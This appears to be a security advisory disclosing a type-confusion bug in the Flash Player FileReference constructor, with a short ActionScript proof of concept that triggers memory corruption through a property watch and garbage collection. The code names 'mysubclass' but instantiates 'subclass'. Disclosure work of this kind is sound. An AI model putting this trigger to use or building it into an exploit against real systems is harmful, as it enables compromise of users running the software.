There is a type confusion issue in the FileReference constructor. The constructor adds several properties to the constructed object before setting the type and data. If a watch is set on one of these properties, code can be called and the object can be initialized to one with a destructor before the FileReference constructor sets the object data, leading to type confusion when the object is garbage collected.
A minimal PoC is as follows:
function myfunc(){
this.__proto__ = {};
this.__proto__.__constructor__ = flash.display.BitmapData;
super(1000, 1000);
}
function mysubclass(){
this.watch("name", myfunc);
_global.ASnative(2204, 200)(this); // FileReference constructor
this.unwatch("name"); // let the reference free
}
}
var a = new subclass();
a = 0;
// wait for GC
